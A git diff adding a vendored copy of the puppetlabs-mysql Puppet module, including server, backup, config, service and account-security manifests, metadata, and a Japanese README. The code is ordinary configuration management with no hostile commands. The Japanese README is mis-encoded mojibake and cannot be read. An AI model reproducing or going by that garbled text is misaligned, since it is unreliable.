'myisam-recover' => 'BACKUP', + }, + 'mysqld-5.5' => { + 'myisam-recover' => 'BACKUP', + }, + 'mysqld-5.6' => { + 'myisam-recover-options' => 'BACKUP', + }, + 'mysqld-5.7' => { + 'myisam-recover-options' => 'BACKUP', + }, + 'mysqld' => { + 'basedir' => $mysql::params::basedir, + 'bind-address' => '127.0.0.1', + 'datadir' => $mysql::params::datadir, + 'expire_logs_days' => '10', + 'key_buffer_size' => '16M', + 'log-error' => $mysql::params::log_error, + 'max_allowed_packet' => '16M', + 'max_binlog_size' => '100M', + 'max_connections' => '151', + 'pid-file' => $mysql::params::pidfile, + 'port' => '3306', + 'query_cache_limit' => '1M', + 'query_cache_size' => '16M', + 'skip-external-locking' => true, + 'socket' => $mysql::params::socket, + 'ssl' => false, + 'ssl-ca' => $mysql::params::ssl_ca, + 'ssl-cert' => $mysql::params::ssl_cert, + 'ssl-key' => $mysql::params::ssl_key, + 'ssl-disable' => false, + 'thread_cache_size' => '8', + 'thread_stack' => '256K', + 'tmpdir' => $mysql::params::tmpdir, + 'user' => 'mysql', + }, + 'mysqldump' => { + 'max_allowed_packet' => '16M', + 'quick' => true, + 'quote-names' => true, + }, + 'isamchk' => { + 'key_buffer_size' => '16M', + }, + } + + ## Additional graceful failures + if $::osfamily == 'RedHat' and $::operatingsystemmajrelease == '4' and $::operatingsystem != 'Amazon' { + fail(translate('Unsupported platform: puppetlabs-%{module_name} only supports RedHat 5.0 and beyond.', {'module_name' => $module_name})) + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp new file mode 100644 index 000000000..11e074880 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server.pp @@ -0,0 +1,89 @@ +# Class: mysql::server: See README.md for documentation. +class mysql::server ( + $config_file = $mysql::params::config_file, + $includedir = $mysql::params::includedir, + $install_options = undef, + $install_secret_file = $mysql::params::install_secret_file, + $manage_config_file = $mysql::params::manage_config_file, + $override_options = {}, + $package_ensure = $mysql::params::server_package_ensure, + $package_manage = $mysql::params::server_package_manage, + $package_name = $mysql::params::server_package_name, + $purge_conf_dir = $mysql::params::purge_conf_dir, + $remove_default_accounts = false, + $restart = $mysql::params::restart, + $root_group = $mysql::params::root_group, + $mysql_group = $mysql::params::mysql_group, + $root_password = $mysql::params::root_password, + $service_enabled = $mysql::params::server_service_enabled, + $service_manage = $mysql::params::server_service_manage, + $service_name = $mysql::params::server_service_name, + $service_provider = $mysql::params::server_service_provider, + $create_root_user = $mysql::params::create_root_user, + $create_root_my_cnf = $mysql::params::create_root_my_cnf, + $users = {}, + $grants = {}, + $databases = {}, + + # Deprecated parameters + $enabled = undef, + $manage_service = undef, + $old_root_password = undef +) inherits mysql::params { + + # Deprecated parameters. + if $enabled { + crit('This parameter has been renamed to service_enabled.') + $real_service_enabled = $enabled + } else { + $real_service_enabled = $service_enabled + } + if $manage_service { + crit('This parameter has been renamed to service_manage.') + $real_service_manage = $manage_service + } else { + $real_service_manage = $service_manage + } + if $old_root_password { + warning(translate('The `old_root_password` attribute is no longer used and will be removed in a future release.')) + } + + # Create a merged together set of options. Rightmost hashes win over left. + $options = mysql_deepmerge($mysql::params::default_options, $override_options) + + Class['mysql::server::root_password'] -> Mysql::Db <| |> + + include '::mysql::server::config' + include '::mysql::server::install' + include '::mysql::server::binarylog' + include '::mysql::server::installdb' + include '::mysql::server::service' + include '::mysql::server::root_password' + include '::mysql::server::providers' + + if $remove_default_accounts { + class { '::mysql::server::account_security': + require => Anchor['mysql::server::end'], + } + } + + anchor { 'mysql::server::start': } + anchor { 'mysql::server::end': } + + if $restart { + Class['mysql::server::config'] + ~> Class['mysql::server::service'] + } + + Anchor['mysql::server::start'] + -> Class['mysql::server::install'] + -> Class['mysql::server::config'] + -> Class['mysql::server::binarylog'] + -> Class['mysql::server::installdb'] + -> Class['mysql::server::service'] + -> Class['mysql::server::root_password'] + -> Class['mysql::server::providers'] + -> Anchor['mysql::server::end'] + + +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp new file mode 100644 index 000000000..3fcdd614c --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/account_security.pp @@ -0,0 +1,39 @@ +# See README.md. +class mysql::server::account_security { + mysql_user { + [ 'root@127.0.0.1', + 'root@::1', + '@localhost', + '@%']: + ensure => 'absent', + require => Anchor['mysql::server::end'], + } + if ($::fqdn != 'localhost.localdomain') { + mysql_user { + [ 'root@localhost.localdomain', + '@localhost.localdomain']: + ensure => 'absent', + require => Anchor['mysql::server::end'], + } + } + if ($::fqdn and $::fqdn != 'localhost') { + mysql_user { + [ "root@${::fqdn}", + "@${::fqdn}"]: + ensure => 'absent', + require => Anchor['mysql::server::end'], + } + } + if ($::fqdn != $::hostname) { + if ($::hostname != 'localhost') { + mysql_user { ["root@${::hostname}", "@${::hostname}"]: + ensure => 'absent', + require => Anchor['mysql::server::end'], + } + } + } + mysql_database { 'test': + ensure => 'absent', + require => Anchor['mysql::server::end'], + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp new file mode 100644 index 000000000..21102d384 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/backup.pp @@ -0,0 +1,58 @@ +# See README.me for usage. +class mysql::server::backup ( + $backupuser = undef, + $backuppassword = undef, + $backupdir = undef, + $backupdirmode = '0700', + $backupdirowner = 'root', + $backupdirgroup = 'root', + $backupcompress = true, + $backuprotate = 30, + $ignore_events = true, + $delete_before_dump = false, + $backupdatabases = [], + $file_per_database = false, + $include_routines = false, + $include_triggers = false, + $ensure = 'present', + $time = ['23', '5'], + $prescript = false, + $postscript = false, + $execpath = '/usr/bin:/usr/sbin:/bin:/sbin', + $provider = 'mysqldump', + $maxallowedpacket = '1M', + $optional_args = [], +) { + + if $prescript and $provider =~ /(mysqldump|mysqlbackup)/ { + warning(translate("The 'prescript' option is not currently implemented for the %{provider} backup provider.", + {'provider' => $provider})) + } + + create_resources('class', { + "mysql::backup::${provider}" => { + 'backupuser' => $backupuser, + 'backuppassword' => $backuppassword, + 'backupdir' => $backupdir, + 'backupdirmode' => $backupdirmode, + 'backupdirowner' => $backupdirowner, + 'backupdirgroup' => $backupdirgroup, + 'backupcompress' => $backupcompress, + 'backuprotate' => $backuprotate, + 'ignore_events' => $ignore_events, + 'delete_before_dump' => $delete_before_dump, + 'backupdatabases' => $backupdatabases, + 'file_per_database' => $file_per_database, + 'include_routines' => $include_routines, + 'include_triggers' => $include_triggers, + 'ensure' => $ensure, + 'time' => $time, + 'prescript' => $prescript, + 'postscript' => $postscript, + 'execpath' => $execpath, + 'maxallowedpacket' => $maxallowedpacket, + 'optional_args' => $optional_args, + } + }) + +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp new file mode 100644 index 000000000..459915d0c --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/binarylog.pp @@ -0,0 +1,22 @@ +# Binary log configuration requires the mysql user to be present. This must be done after package install +class mysql::server::binarylog { + + $options = $mysql::server::options + $includedir = $mysql::server::includedir + + $logbin = pick($options['mysqld']['log-bin'], $options['mysqld']['log_bin'], false) + + if $logbin { + $logbindir = mysql_dirname($logbin) + + #Stop puppet from managing directory if just a filename/prefix is specified + if $logbindir != '.' { + file { $logbindir: + ensure => directory, + mode => '0755', + owner => $options['mysqld']['user'], + group => $options['mysqld']['user'], + } + } + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp new file mode 100644 index 000000000..de97bea5e --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/config.pp @@ -0,0 +1,58 @@ +# See README.me for options. +class mysql::server::config { + + $options = $mysql::server::options + $includedir = $mysql::server::includedir + + File { + owner => 'root', + group => $mysql::server::root_group, + mode => '0400', + } + + if $includedir and $includedir != '' { + file { $includedir: + ensure => directory, + mode => '0755', + recurse => $mysql::server::purge_conf_dir, + purge => $mysql::server::purge_conf_dir, + } + + # on some systems this is /etc/my.cnf.d, while Debian has /etc/mysql/conf.d and FreeBSD something in /usr/local. For the latter systems, + # managing this basedir is also required, to have it available before the package is installed. + $includeparentdir = mysql_dirname($includedir) + if $includeparentdir != '/' and $includeparentdir != '/etc' { + file { $includeparentdir: + ensure => directory, + mode => '0755', + } + } + } + + if $mysql::server::manage_config_file { + file { 'mysql-config-file': + path => $mysql::server::config_file, + content => template('mysql/my.cnf.erb'), + mode => '0644', + selinux_ignore_defaults => true, + } + + # on mariadb systems, $includedir is not defined, but /etc/my.cnf.d has + # to be managed to place the server.cnf there + $configparentdir = mysql_dirname($mysql::server::config_file) + if $configparentdir != '/' and $configparentdir != '/etc' and $configparentdir + != $includedir and $configparentdir != mysql_dirname($includedir) { + file { $configparentdir: + ensure => directory, + mode => '0755', + } + } + } + + if $options['mysqld']['ssl-disable'] { + notify {'ssl-disable': + message =>'Disabling SSL is evil! You should never ever do this except + if you are forced to use a mysql version compiled without SSL support' + } + } +} diff --git a/modules/services/unix/database/mysql/manifests/server/install.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/install.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/install.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/install.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp new file mode 100644 index 000000000..7e5423328 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/installdb.pp @@ -0,0 +1,46 @@ +# +class mysql::server::installdb { + $options = $mysql::server::options + + if $mysql::server::package_manage { + + # Build the initial databases. + $mysqluser = $mysql::server::options['mysqld']['user'] + $datadir = $mysql::server::options['mysqld']['datadir'] + $basedir = $mysql::server::options['mysqld']['basedir'] + $config_file = $mysql::server::config_file + $log_error = $mysql::server::options['mysqld']['log-error'] + + if $mysql::server::manage_config_file and $config_file != $mysql::params::config_file { + $_config_file=$config_file + } else { + $_config_file=undef + } + + if $options['mysqld']['log-error'] { + file { $options['mysqld']['log-error']: + ensure => present, + owner => $mysqluser, + group => $::mysql::server::mysql_group, + mode => 'u+rw', + require => Mysql_datadir[ $datadir ], + } + } + + mysql_datadir { $datadir: + ensure => 'present', + datadir => $datadir, + basedir => $basedir, + user => $mysqluser, + log_error => $log_error, + defaults_extra_file => $_config_file, + } + + if $mysql::server::restart { + Mysql_datadir[$datadir] { + notify => Class['mysql::server::service'], + } + } + } + +} diff --git a/modules/services/unix/database/mysql/manifests/server/monitor.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/monitor.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/monitor.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/monitor.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp new file mode 100644 index 000000000..ae91e63ac --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/mysqltuner.pp @@ -0,0 +1,54 @@ +# +class mysql::server::mysqltuner( + $ensure = 'present', + $version = 'v1.3.0', + $source = undef, + $environment = undef, # environment for staging::file +) { + + if $source { + $_version = $source + $_source = $source + } else { + $_version = $version + $_source = "https://github.com/major/MySQLTuner-perl/raw/${version}/mysqltuner.pl" + } + + if $ensure == 'present' { + # $::puppetversion doesn't exist in puppet 4.x so would break strict + # variables + if ! $::settings::strict_variables { + $_puppetversion = $::puppetversion + } else { + # defined only works with puppet >= 3.5.0, so don't use it unless we're + # actually using strict variables + $_puppetversion = defined('$puppetversion') ? { + true => $::puppetversion, + default => undef, + } + } + # see https://tickets.puppetlabs.com/browse/ENTERPRISE-258 + if $_puppetversion and $_puppetversion =~ /Puppet Enterprise/ and versioncmp($_puppetversion, '3.8.0') < 0 { + class { '::staging': + path => '/opt/mysql_staging', + } + } else { + class { '::staging': } + } + + staging::file { "mysqltuner-${_version}": + source => $_source, + environment => $environment, + } + file { '/usr/local/bin/mysqltuner': + ensure => $ensure, + mode => '0550', + source => "${::staging::path}/mysql/mysqltuner-${_version}", + require => Staging::File["mysqltuner-${_version}"], + } + } else { + file { '/usr/local/bin/mysqltuner': + ensure => $ensure, + } + } +} diff --git a/modules/services/unix/database/mysql/manifests/server/providers.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/providers.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/providers.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/providers.pp diff --git a/modules/services/unix/database/mysql/manifests/server/root_password.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/root_password.pp similarity index 100% rename from modules/services/unix/database/mysql/manifests/server/root_password.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/root_password.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp new file mode 100644 index 000000000..3ce81d483 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/manifests/server/service.pp @@ -0,0 +1,62 @@ +# +class mysql::server::service { + $options = $mysql::server::options + + if $mysql::server::real_service_manage { + if $mysql::server::real_service_enabled { + $service_ensure = 'running' + } else { + $service_ensure = 'stopped' + } + } else { + $service_ensure = undef + } + + if $mysql::server::override_options and $mysql::server::override_options['mysqld'] + and $mysql::server::override_options['mysqld']['user'] { + $mysqluser = $mysql::server::override_options['mysqld']['user'] + } else { + $mysqluser = $options['mysqld']['user'] + } + + if $mysql::server::real_service_manage { + service { 'mysqld': + ensure => $service_ensure, + name => $mysql::server::service_name, + enable => $mysql::server::real_service_enabled, + provider => $mysql::server::service_provider, + } + + # only establish ordering between service and package if + # we're managing the package. + if $mysql::server::package_manage { + Service['mysqld'] { + require => Package['mysql-server'], + } + } + + # only establish ordering between config file and service if + # we're managing the config file. + if $mysql::server::manage_config_file { + File['mysql-config-file'] -> Service['mysqld'] + } + + if $mysql::server::override_options and $mysql::server::override_options['mysqld'] + and $mysql::server::override_options['mysqld']['socket'] { + $mysqlsocket = $mysql::server::override_options['mysqld']['socket'] + } else { + $mysqlsocket = $options['mysqld']['socket'] + } + + if $service_ensure != 'stopped' { + exec { 'wait_for_mysql_socket_to_open': + command => "test -S ${mysqlsocket}", + unless => "test -S ${mysqlsocket}", + tries => '3', + try_sleep => '10', + require => Service['mysqld'], + path => '/bin:/usr/bin', + } + } + } +} diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json b/modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json new file mode 100644 index 000000000..6a86aad08 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/metadata.json @@ -0,0 +1,89 @@ +{ + "name": "puppetlabs-mysql", + "version": "5.3.0", + "author": "Puppet Labs", + "summary": "Installs, configures, and manages the MySQL service.", + "license": "Apache-2.0", + "source": "git://github.com/puppetlabs/puppetlabs-mysql.git", + "project_page": "http://github.com/puppetlabs/puppetlabs-mysql", + "issues_url": "https://tickets.puppetlabs.com/browse/MODULES", + "dependencies": [ + { + "name": "puppetlabs/translate", + "version_requirement": ">= 1.0.0 < 2.0.0" + }, + { + "name": "puppetlabs/stdlib", + "version_requirement": ">= 3.2.0 < 5.0.0" + }, + { + "name": "puppet/staging", + "version_requirement": ">= 1.0.1 < 4.0.0" + } + ], + "operatingsystem_support": [ + { + "operatingsystem": "RedHat", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "CentOS", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "OracleLinux", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "Scientific", + "operatingsystemrelease": [ + "5", + "6", + "7" + ] + }, + { + "operatingsystem": "SLES", + "operatingsystemrelease": [ + "11 SP1", + "12" + ] + }, + { + "operatingsystem": "Debian", + "operatingsystemrelease": [ + "7", + "8", + "9" + ] + }, + { + "operatingsystem": "Ubuntu", + "operatingsystemrelease": [ + "14.04", + "16.04" + ] + } + ], + "requirements": [ + { + "name": "puppet", + "version_requirement": ">= 4.7.0 < 6.0.0" + } + ], + "description": "MySQL module", + "template-url": "file:///opt/puppetlabs/pdk/share/cache/pdk-templates.git", + "template-ref": "1.3.2-0-g07678c8" +} diff --git a/modules/services/unix/database/mysql/mysql.pp b/modules/services/unix/database/mysql_stretch_compatible/mysql/mysql.pp similarity index 100% rename from modules/services/unix/database/mysql/mysql.pp rename to modules/services/unix/database/mysql_stretch_compatible/mysql/mysql.pp diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md new file mode 100644 index 000000000..69f98c3d1 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/readmes/README_ja_JP.md @@ -0,0 +1,1329 @@ +# mysql + +#### 目次 + +1. [モジュールã«ã¤ã„㦠- ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã®æ©Ÿèƒ½ã¨ãã®æœ‰ç›Šæ€§](#モジュールã«ã¤ã„ã¦) +2. [セットアップ - mysqlå°Žå…¥ã®åŸºæœ¬](#セットアップ) + * [mysqlã®å°Žå…¥](#mysqlã®å°Žå…¥) +3. [使用方法 - 設定オプションã¨ãã®ä»–ã®æ©Ÿèƒ½](#使用方法) + * [サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º](#サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º) + * [データベースã®ä½œæˆ](#データベースã®ä½œæˆ) + * [設定ã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º](#設定ã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º) + * [既存ã®ã‚µãƒ¼ãƒã«å¯¾ã™ã‚‹æ“作](#既存ã®ã‚µãƒ¼ãƒã«å¯¾ã™ã‚‹æ“作) + * [ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰ã®æŒ‡å®š](#ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰ã®æŒ‡å®š) + * [CentOSã¸ã®Perconaサーãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«](#centosã¸ã®perconaサーãƒã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«) + *[Ubuntuã¸ã®MariaDBã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«](#ubuntuã¸ã®mariadbã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«) +4. [å‚考 - ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã®æ©Ÿèƒ½ã¨å‹•作ã«ã¤ã„ã¦](#å‚考) +5. [制約事項 - OSã®äº’æ›æ€§ãªã©](#制約事項) +6. [開発 - モジュール貢献ã«ã¤ã„ã¦ã®ã‚¬ã‚¤ãƒ‰ãƒ©ã‚¤ãƒ³](#開発) + +## モジュールã«ã¤ã„㦠+ +mysqlモジュールã¯ã€MySQLサービスをインストールã€è¨­å®šã€ç®¡ç†ã—ã¾ã™ã€‚ + +ã“ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ã€MySQLã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã¨è¨­å®šã‚’管ç†ã™ã‚‹ã¨ã¨ã‚‚ã«ã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã€ãƒ¦ãƒ¼ã‚¶ã€GRANT権é™ãªã©ã®MySQLリソースを管ç†ã§ãるよã†ã«Puppetã®æ©Ÿèƒ½ã‚’æ‹¡å¼µã—ã¾ã™ã€‚ + +## セットアップ + +### mysqlã®å°Žå…¥ + +デフォルトã®ã‚ªãƒ—ションを使用ã—ã¦ã‚µãƒ¼ãƒã‚’インストールã™ã‚‹ã«ã¯ã€æ¬¡ã®ã‚³ãƒžãƒ³ãƒ‰ã‚’使用ã—ã¾ã™ã€‚ + +`include '::mysql::server'`. + +ルートパスワードや`/etc/my.cnf`ã®è¨­å®šå€¤ãªã©ã®ã‚ªãƒ—ションをカスタマイズã™ã‚‹ã«ã¯ã€ã‚ªãƒ¼ãƒãƒ¼ãƒ©ã‚¤ãƒ‰ãƒãƒƒã‚·ãƒ¥ã‚‚渡ã™å¿…è¦ãŒã‚りã¾ã™ã€‚ + +```puppet +class { '::mysql::server': + root_password => 'strongpassword', + remove_default_accounts => true, + override_options => $override_options +} +``` + +$override_options用ã®ãƒãƒƒã‚·ãƒ¥æ§‹é€ ä½“ã®ä¾‹ã«ã¤ã„ã¦ã¯ã€å¾Œè¿°ã®[**サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º**](#サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º)ã‚’å‚ç…§ã—ã¦ãã ã•ã„。 + +## 使用方法 + +サーãƒã«é–¢ã™ã‚‹ã™ã¹ã¦ã®ã‚¤ãƒ³ã‚¿ãƒ©ã‚¯ã‚·ãƒ§ãƒ³ã¯`mysql::server`を使用ã—ã¦è¡Œã‚れã€ã‚¯ãƒ©ã‚¤ã‚¢ãƒ³ãƒˆã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ã¯`mysql::client`ãŒã€ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«ã¯`mysql::bindings`ãŒä½¿ç”¨ã•れã¾ã™ã€‚ + +### サーãƒã‚ªãƒ—ションã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º + +サーãƒã‚ªãƒ—ションを定義ã™ã‚‹ã«ã¯ã€`mysql::server`ã§ã‚ªãƒ¼ãƒãƒ¼ãƒ©ã‚¤ãƒ‰ã®ãƒãƒƒã‚·ãƒ¥æ§‹é€ ä½“を作æˆã—ã¾ã™ã€‚ã“ã®ãƒãƒƒã‚·ãƒ¥ã¯ã€my.cnfファイルã«å«ã¾ã‚Œã¦ã„ã‚‹ãƒãƒƒã‚·ãƒ¥ã¨ä¼¼ã¦ã„ã¾ã™ã€‚ + +```puppet +$override_options = { + 'section' => { + 'item' => 'thing', + } +} +``` + +ã“ã®å½¢å¼ã®ã‚ªãƒ—ションを従æ¥ã®æ–¹æ³•ã§ç¤ºã™ã¨æ¬¡ã®ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚ + +``` +[section] +thing = X +``` + +ãƒãƒƒã‚·ãƒ¥å†…ã§ã¯`thing => true`ã€`thing => value`ã€ã¾ãŸã¯`thing => ""`ã®å½¢ã§ã‚¨ãƒ³ãƒˆãƒªã‚’作æˆã§ãã¾ã™ã€‚ã¾ãŸã¯ã€`thing => ['value', 'value2']`ã®å½¢ã§é…列を渡ã—ãŸã‚Šã€`thing => value`を独立ã—ãŸè¡Œã«å€‹åˆ¥ã«ãƒªã‚¹ãƒˆã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚ + +値を設定ã›ãšã«å¤‰æ•°ã‚’ãƒãƒƒã‚·ãƒ¥ã«å«ã‚ã¦æ¸¡ã™ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®å ´åˆã€å¤‰æ•°ã«ã¯MySQLã®ãƒ‡ãƒ•ォルトã®è¨­å®šå€¤ãŒä½¿ç”¨ã•れã¾ã™ã€‚オプションを`my.cnf`ファイルã‹ã‚‰é™¤å¤–ã™ã‚‹ã«ã¯(ãŸã¨ãˆã°`override_options`を使用ã—ã¦ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆå€¤ã«æˆ»ã™å ´åˆãªã©)ã€`thing => undef`を渡ã—ã¾ã™ã€‚ + +オプションã«è¤‡æ•°ã®ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ãŒå¿…è¦ãªå ´åˆã¯é…列を渡ã—ã¾ã™ã€‚ãŸã¨ãˆã°æ¬¡ã®ä¾‹ã®å ´åˆã¯ã€ + +```puppet +$override_options = { + 'mysqld' => { + 'replicate-do-db' => ['base1', 'base2'], + } +} +``` + +次ã®ã‚ˆã†ã«ãªã‚Šã¾ã™ã€‚ + +```puppet +[mysqld] +replicate-do-db = base1 +replicate-do-db = base2 +``` + +ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«å›ºæœ‰ãªãƒ‘ラメータを実装ã™ã‚‹ã«ã¯ã€[mysqld-5.5]ã®ã‚ˆã†ã«ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’指定ã—ã¾ã™ã€‚ã“ã†ã™ã‚‹ã¨ã€1ã¤ã®configã§è¤‡æ•°ã®ç•°ãªã‚‹ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®MySQLã«å¯¾å¿œã§ãã¾ã™ã€‚ + +### データベースã®ä½œæˆ + +ユーザãŠã‚ˆã³å‰²ã‚Šå½“ã¦ã‚‰ã‚ŒãŸã„ãã¤ã‹ã®æ¨©é™ã‚’å«ã‚€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚’作æˆã™ã‚‹ã«ã¯ã€æ¬¡ã®ã‚ˆã†ã«ã—ã¾ã™ã€‚ + +```puppet +mysql::db { 'mydb': + user => 'myuser', + password => 'mypass', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], +} +``` + +エクスãƒãƒ¼ãƒˆã•れãŸãƒªã‚½ãƒ¼ã‚¹ã‚’å«ã‚€åˆ¥ã®ãƒªã‚½ãƒ¼ã‚¹åを使用ã™ã‚‹ã«ã¯ã€æ¬¡ã®ã‚ˆã†ã«ã—ã¾ã™ã€‚ + +```puppet + @@mysql::db { "mydb_${fqdn}": + user => 'myuser', + password => 'mypass', + dbname => 'mydb', + host => ${fqdn}, + grant => ['SELECT', 'UPDATE'], + tag => $domain, +} +``` + +ã•らã«ã€ã“れをリモートDBサーãƒã«é›†ã‚ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ + +```puppet +Mysql::Db <<| tag == $domain |>> +``` + +データベースã®ä½œæˆæ™‚ã«ãƒ•ァイルã«sqlパラメータを設定ã™ã‚‹å ´åˆã¯ã€æ–°ã—ã„データベースã«ãƒ•ァイルãŒã‚¤ãƒ³ãƒãƒ¼ãƒˆã•れã¾ã™ã€‚ + +サイズã®å¤§ãã„sqlファイルã®å ´åˆã¯ã€`import_timeout`パラメータã®å€¤(デフォルト値300ç§’)を大ããã—ã¾ã™ã€‚ + +```puppet +mysql::db { 'mydb': + user => 'myuser', + password => 'mypass', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], + sql => '/path/to/sqlfile.gz', + import_cat_cmd => 'zcat', + import_timeout => 900, +} +``` + +### 設定ã®ã‚«ã‚¹ã‚¿ãƒžã‚¤ã‚º + +MySQLカスタム設定を追加ã™ã‚‹ã«ã¯ã€`includedir`ã«ãƒ•ァイルを追加ã—ã¾ã™ã€‚ã“ã†ã™ã‚‹ã¨è¨­å®šå€¤ã‚’オーãƒãƒ¼ãƒ©ã‚¤ãƒ‰ã—ãŸã‚Šåˆ¥ã®è¨­å®šå€¤ã‚’追加ã—ãŸã‚Šã™ã‚‹ã“ã¨ãŒã§ãã€`mysql::server`ã§`override_options`を使用ã—ãªã„å ´åˆã«å½¹ç«‹ã¡ã¾ã™ã€‚`includedir`ã®å ´æ‰€ã¯ã€ãƒ‡ãƒ•ォルトã§ã¯`/etc/mysql/conf.d`ã«è¨­å®šã•れã¾ã™ã€‚ + +### 既存ã®ã‚µãƒ¼ãƒã«å¯¾ã™ã‚‹æ“作 + +既存ã®MySQLサーãƒä¸Šã«ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶ã®ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã‚’作æˆã™ã‚‹ã«ã¯ã€`root`ã®ãƒ›ãƒ¼ãƒ ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã«`.my.cnf`ファイルãŒå¿…è¦ã§ã™ã€‚次ã®ä¾‹ã®ã‚ˆã†ã«ã€ã“ã®ãƒ•ァイルã§ãƒªãƒ¢ãƒ¼ãƒˆã‚µãƒ¼ãƒã®ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨èªè¨¼æƒ…報を指定ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚ + +```puppet +[client] +user=root +host=localhost +password=secret +``` + +ã“ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ã€`mysqld_version`ファクトã‹ã‚‰ã€ä½¿ç”¨ã•れã¦ã„るサーãƒã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’èªè­˜ã—ã¾ã™ã€‚デフォルトã§ã¯ã€`mysqld_version`ã¯`mysqld 